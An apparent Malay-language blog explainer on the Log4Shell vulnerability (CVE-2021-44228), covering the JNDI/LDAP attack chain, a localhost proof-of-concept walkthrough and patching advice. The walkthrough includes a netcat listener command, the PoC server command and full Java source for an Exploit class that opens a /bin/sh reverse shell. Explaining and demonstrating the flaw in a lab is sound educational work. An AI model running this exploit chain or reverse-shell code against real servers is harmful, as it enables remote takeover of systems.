Log4shell (Log4j RCE)
Assalamualaikum wrt! Baru-baru ini dunia cybersec dikejutkan dengan penemuan vulnerability baharu dalam log4j library. Ia dikenali sebagai Log4Shell 0-day yang menyebabkan berjuta komputer dalam pelbagai organisasi terjejas. Fenomena 0-day tersebut sudah diterbitkan dalam pangkalan data kelemahan kebangsaan dan dinamakan sebagai CVE-2021-44228. Sementara itu, Log4Shell ini membolehkan hacker untuk melakukan Remote Code Execution (RCE) terhadap sesuatu server. Dengan erti kata lain, hacker dapat memasukkan kod jahat dalam sesuatu server untuk mengawal server tersebut dengan jarak jauh.
Apa itu Log4j?
Log4j merupakan utiliti yang merekod events sistem operasi seperti ralat, cronjobs dll dan menyampaikan mesej diagnostik kepada pentadbir sistem (sysadmin) dan pengguna biasa. Log4j ini berasaskan programming language JAVA dan dibangunkan oleh Apache Software Foundation dan banyak digunakan organisasi gah seperti Apple, Microsoft dll untuk melakukan operasi logging dalam sistem aplikasi, laman sesawang dan sebagainya. Dalam erti kata lain, ia dipanggil sebagai software library (National Cyber Security Center, 2021). Secara teknikalnya, log4j melakukan logging terhadap sesuatu perkara yang berlaku dalam web server. Sebagai contoh, sekiranya terdapat client cuba mengakses direktori yang tidak wujud dalam sesebuah website dan mendapat HTTP status kod 404, log4j akan memberitahu kejadian tersebut kepada sysadmin. Bahkan, log4j juga boleh melaksanakan arahan untuk menjana maklumat mengenai logging. Fungsi itu membolehkan log4j berkomunikasi atau berinteraksi dengan sumber lain, seperti servis direktori dalaman.
Log4Shell 0-day
Log4Shell muncul selepas penyelidik keselamatan Chen Zhaojun dari Alibaba, syarikat e-dagang terbesar di China, melaporkan kelemahan kepada Apache Foundation pada 24 November. Mereka menemui serangan pada 9 Disember dalam server Minecraft. Mereka melakukan analisis forensik dan mendapati penjenayah siber menemui vulnerability itu lebih awal, dan telah mengeksploitasinya sejak 1 Disember 2021 (Dynatrace, 2021). Dalam pada itu, The Apache Foundation memberikan skor CVSS 10/10 terhadap vulnerability ini berikutan ia berpotensi untuk dieksploitasi secara meluas dan memudahkan hackers yang berniat jahat untuk menyerang aplikasi. Log4Shell menjejaskan beberapa syarikat besar di dunia termasuk Apple, Twitter, Steam, Tesla, dan permainan video Minecraft.
Bagaimana Log4Shell terjadi ?
Secara khususnya, log4shell menyasarkan bahagian log4j yang spesifik iaitu Java Naming and Directory Interface atau akronimnya JNDI. Fungsi spesifik ini berfungsi untuk menghuraikan log data yang dikawal oleh pengguna. JNDI juga melakukan rutin yang mencatat data client termasuk HTTP request dan IP Address yang melayari laman sesawangnya. Log4Shell membolehkan hackers menyalahgunakan operasi JNDI ini untuk mencapai Remote Code Execution (RCE) dalam sesebuah aplikasi. Secara teknikal, hackers menggunakan crafted strings yang menggunakan JNDI lookups untuk memaksa web aplikasi yang vulnerable untuk menyambung ke LDAP server yang dikawal penyerang dan melaksanakan kod jahat.
Gambar rajah Log4Shell (Sumber: Swiss Government Computer Emergency Response Team GovCERT)
Berdasarkan gambar rajah tersebut:
- Hacker mencetuskan eksploitasi dengan menghantar malicious payload melalui input pengguna iaitu HTTP header user-agent. Walau bagaimanapun, ia bukan terhad kepada user-agent header sahaja kerana Log4j akan mencatat HTTP request yang mempunyai pelbagai headers seperti cookies, accept-language, accept-encoding dan lain-lain.
- Aplikasi laman sesawang merekodkan input yang dibekalkan oleh penyerang.
- Log4j library mentafsir malicious payload dan bersambung ke server LDAP penyerang.
- LDAP server penyerang menghantar semula respons yang mengarahkan aplikasi laman sesawang untuk memuatkan fail JAVA yang di host oleh penyerang secara jarak jauh (remote).
- Aplikasi laman sesawang memuat turun dan melaksanakan fail tersebut.
- Penyerang mendapat sambungan dari mangsa melalui reverse shell
Proof of Concept/Demonstration
Proof of concept ini adalah berdasarkan repositori Kozmer, iaitu Pengkaji yang mencipta aplikasi laman sesawang yang vulnerable untuk menunjukkan contoh senario Log4Shell. Segala POC yang dipaparkan hanya dibuat dalam localhost sahaja.
STEP 1
Pasang aplikasi laman sesawang ini dengan menggunakan docker. Anda boleh mengakses aplikasi laman sesawang ini di localhost:8080
sudo docker build -t log4j-shell-poc .
sudo docker run --network host log4j-shell-poc
STEP 2
Pasang sambungan netcat dengan port bersesuaian untuk menerima sambungan reverse shell daripada mangsa.
nc -nlvp 1337
STEP 3
Pasang LDAP server berserta HTTP server untuk menerima sambungan daripada mangsa dan menghantar respon yang akan memuat turun reverse shell. LDAP server dijalankan pada port 1389 manakala HTTP pula pada port 8000.
sudo python3 poc.py --userip localhost --webport 8000 --lport 1337
STEP 4
Copy malicious payload (send me) tersebut , paste di ruang login aplikasi yang telah di pasang sebentar tadi dan klik login untuk mencetuskan eksploitasi.
STEP 5
LDAP server menghantar semula respons yang mengarahkan aplikasi laman sesawang ini untuk memuatkan fail Exploit.class yang di host oleh penyerang pada port 8000.
Berikut merupakan source code Java.class yang belum di compile. Kod jahat ini bertujuan untuk menyambungkan shell dari aplikasi mangsa ke port penyerang (1337)
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {
public Exploit() throws Exception {
String host="localhost";
int port=1337;
String cmd="/bin/sh";
Process p=new
ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),
pe=p.getErrorStream(),
si=s.getInputStream();
OutputStream
po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()) {
while(pi.available()>0)
so.write(pi.read());
while(pe.available()>0)
so.write(pe.read());
while(si.available()>0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
}
catch (Exception e){
}
};
p.destroy();
s.close();
}
}
REVERSE SHELL BERSAMBUNG!
Vulnerability Log4shell memberi impak yang tinggi terhadap aplikasi, malahan ia mudah dieksploitasi oleh hackers. Implikasi zero day ini memberikan kesan yang meluas ke atas industri perkomputeran dalam dunia sehingga menjejaskan syarikat terkemuka dunia seperti Apple dan Microsoft. Namun begitu, vulnerability ini kelihatan sudah dihapuskan apabila Apache Foundation menerbitkan Apache Log4j library versi kedua dan ketiga. Menurut Apache Foundation, mereka telah membuang sokongan protokol LDAP sepenuhnya dalam versi 2.3.1, 2.12.2, 2.12.3 atau 2.17.0. Oleh hal yang demikian, para pentadbir sistem diharapkan dapat menaik taraf Log4j berserta mekanisme keselamatan untuk mengelakkan aplikasi anda terjejas dengan serangan 0-day kelak.
Rujukan
Log4j vulnerability - what everyone needs to know. (n.d.). NCSC.
Software Library - an overview ScienceDirect Topics. (n.d.). Sciencedirect
Zero-Day Exploit Targeting Popular Java Library Log4j. (n.d.). GovCert.